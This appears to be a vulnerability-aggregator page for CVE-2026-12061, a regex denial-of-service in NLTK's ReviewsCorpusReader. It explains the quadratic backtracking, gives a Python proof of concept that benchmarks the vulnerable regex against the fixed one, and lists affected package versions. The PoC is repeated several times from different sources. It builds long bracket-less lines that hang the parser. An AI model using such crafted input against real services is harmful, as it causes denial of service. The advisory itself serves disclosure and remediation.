CVE-2026-12061

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

7.5 HighFix available

Summary

ReviewsCorpusReader extracts feature annotations of the form label followed by a bracketed signed digit (e.g. a label then [+2]) from each review line, using the module-level FEATURES regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal [. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs reviews(), features(), and sents().

Details

The label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal [. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the n starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. re.findall repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

    bench("VULNERABLE  reviews.py L70-71", FEATURES_VULN)
    bench("BOUNDED     fix #3583", FEATURES_FIXED)
    same = parity_check()

    print("\n" + "=" * 66)
    print(" Vulnerable: ~4x time per input doubling  => O(n^2) quadratic ReDoS")
    print(" Bounded:    ~2x time per input doubling  => O(n)   linear, stays in ms")
    print(f" Extraction parity on real annotations preserved: {same}")
    print(" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().")
    print("=" * 66)


if __name__ == "__main__":
    main()

Impact

Denial of service. Processing a single crafted line through ReviewsCorpusReader consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

What each source reports

GitHub Advisories Score usedGHSA-fg7f-2386-8897 7.5

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

Details

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

   …

Record: GHSA-fg7f-2386-8897
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-1333
Updated: 2026-11-02

OSVGHSA-fg7f-2386-8897 7.5

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

Details

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

   …

Record: GHSA-fg7f-2386-8897
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-1333
Updated: 2026-11-02

OSVPYSEC-2026-3582 7.5

Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex

Summary

Details

PoC

import multiprocessing as mp
import re
import time

# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---
FEATURES_VULN = re.compile(r"((?:(?:\w+\s)+)?\w+)\[((?:\+|\-)\d)\]")

# --- Bounded variant from the fix (PR #3583): cap the per-label word run.
#     A generous bound (real feature labels are short noun phrases) makes the
#     run linear while never affecting legitimate corpora. ---
WORD_BOUND = 50
FEATURES_FIXED = re.compile(
    r"((?:(?:\w+\s){0,%d})?\w+)\[((?:\+|\-)\d)\]" % WORD_BOUND
)

TIMEOUT = 20.0  # seconds, per measurement
SIZES = [1000, 2000, 4000, 8000, 16000]  # words on a single bracket-less line


def _bad_line(n_words):
    """A long line of plain words with NO trailing bracketed annotation."""
    return ("word " * n_words).rstrip()


def _worker(pattern_str, line, q):
    pat = re.compile(pattern_str)
    t0 = time.perf_counter()
    pat.findall(line)
    q.put(time.perf_counter() - t0)


def timed_findall(pattern, line, timeout=TIMEOUT):
    """Run pattern.findall(line) in a killable process; return seconds or None (timeout)."""
    q = mp.Queue()
    p = mp.Process(target=_worker, args=(pattern.pattern, line, q))
    p.start()
    p.join(timeout)
    if p.is_alive():
        p.terminate()
        p.join()
        return None
    return q.get() if not q.empty() else None


def bench(label, pattern):
    print(f"\n[{label}]  pattern: {pattern.pattern}")
    print(f"  {'words':>7} {'~bytes':>8}   {'time':>12}   {'x prev':>7}")
    prev = None
    for n in SIZES:
        line = _bad_line(n)
        t = timed_findall(pattern, line)
        if t is None:
            print(f"  {n:>7} {len(line):>8}   {'>%.0fs TIMEOUT' % TIMEOUT:>12}   {'--':>7}")
            prev = None
        else:
            ratio = f"{t/prev:.1f}x" if prev else "--"
            print(f"  {n:>7} {len(line):>8}   {t*1000:>9.1f} ms   {ratio:>7}")
            prev = t


def parity_check():
    """The bound must NOT change extraction on a realistic annotated line."""
    real = (
        "the picture quality[+2] and battery life[+1] are great but "
        "the lens cap[-1] feels cheap and the menu system[-2] is slow"
    )
    a = FEATURES_VULN.findall(real)
    b = FEATURES_FIXED.findall(real)
    print("\n[parity] realistic annotated line — extraction must be identical")
    print(f"  vulnerable regex -> {a}")
    print(f"  bounded   regex  -> {b}")
    print(f"  identical: {a == b}")
    return a == b


def main():
    print("=" * 66)
    print(" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)")
    print("=" * 66)
    print(f" per-call timeout = {TIMEOUT:.0f}s   word bound (fix) = {WORD_BOUND}")

   …

Record: PYSEC-2026-3582
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVUBUNTU-CVE-2026-12061 No score

[Unknown description]

Record: UBUNTU-CVE-2026-12061
Updated: 2026-11-02

Affected packages

Affected packages
Package	Affected	Fixed
`nltk` PyPI	through 3.9.4	3.10.0
`nltk` Debian:12	All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.8-13.8.1-1 Show 4 moreShow less 3.9.1-13.9.1-23.9.2-13.9.3-1	None known
`nltk` Debian:13	All versions, plus listed versions 3.10.0-13.10.1-13.10.3-13.9.1-23.9.2-13.9.3-1	None known
`nltk` Debian:14	before 3.10.0-1, plus listed versions 3.9.1-23.9.2-13.9.3-1	3.10.0-1
`nltk` PyPI	before 3.10.0, plus listed versions 0.80.90.9.30.9.40.9.5 Show 45 moreShow less 0.9.60.9.70.9.80.9.92.0.12.0.1rc12.0.1rc2-git2.0.1rc32.0.1rc42.0.22.0.32.0.42.0.52.0b42.0b52.0b62.0b72.0b82.0b93.0.03.0.0b13.0.0b23.0.13.0.23.0.33.0.43.0.53.13.23.2.13.2.23.2.33.2.43.2.53.33.43.4.13.4.23.4.33.4.43.4.53.53.5b13.63.6.1	3.10.0
`nltk` Ubuntu:Pro:14.04:LTS	All versions, plus listed versions 2.0~b9-0ubuntu42.0~b9-0ubuntu4.1~esm22.0~b9-0ubuntu4.1~esm42.0~b9-0ubuntu4.1~esm52.0~b9-0ubuntu4.1~esm6	None known
`nltk` Ubuntu:Pro:16.04:LTS	All versions, plus listed versions 3.0.4-13.0.5-13.1-13.1-1ubuntu0.13.1-1ubuntu0.1+esm13.1-1ubuntu0.1+esm23.1-1ubuntu0.1+esm33.1-1ubuntu0.1+esm4	None known
`nltk` Ubuntu:Pro:18.04:LTS	All versions, plus listed versions 3.2.4-13.2.5-13.2.5-1ubuntu0.13.2.5-1ubuntu0.1+esm13.2.5-1ubuntu0.1+esm23.2.5-1ubuntu0.1+esm33.2.5-1ubuntu0.1+esm4	None known
`nltk` Ubuntu:Pro:20.04:LTS	All versions, plus listed versions 3.4.5-13.4.5-23.4.5-2ubuntu0.1~esm13.4.5-2ubuntu0.1~esm23.4.5-2ubuntu0.1~esm33.4.5-2ubuntu0.1~esm4	None known
`nltk` Ubuntu:Pro:22.04:LTS	All versions, plus listed versions 3.5-13.6.5-13.6.7-13.7-13.7-1ubuntu0.1~esm13.7-1ubuntu0.1~esm2	None known
`nltk` Ubuntu:Pro:24.04:LTS	All versions, plus listed versions 3.8.1-13.8.1-1ubuntu0.1~esm13.8.1-1ubuntu0.1~esm2	None known
`nltk` Ubuntu:26.10	All versions, plus listed versions 3.9.2-13.9.3-13.10.0-13.10.1-13.10.3-1	None known
`nltk` Ubuntu:Pro:26.04:LTS	All versions, plus listed versions 3.9.1-23.9.1-2build13.9.2-13.9.2-1ubuntu0.1~esm13.9.2-1ubuntu0.1~esm2	None known

History

History
Recorded	Changed	Sources
Nov 2, 2026	first indexed	GitHub Advisories, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-12061 is a high vulnerability (CVSS 7.5) in nltk, published July 31, 2026. No source lists public exploit code. Fixed in nltk 3.10.0.

References

This page doesn't list everything

Left out here: 15 versions and the rest of 3 source descriptions. The JSON record has them.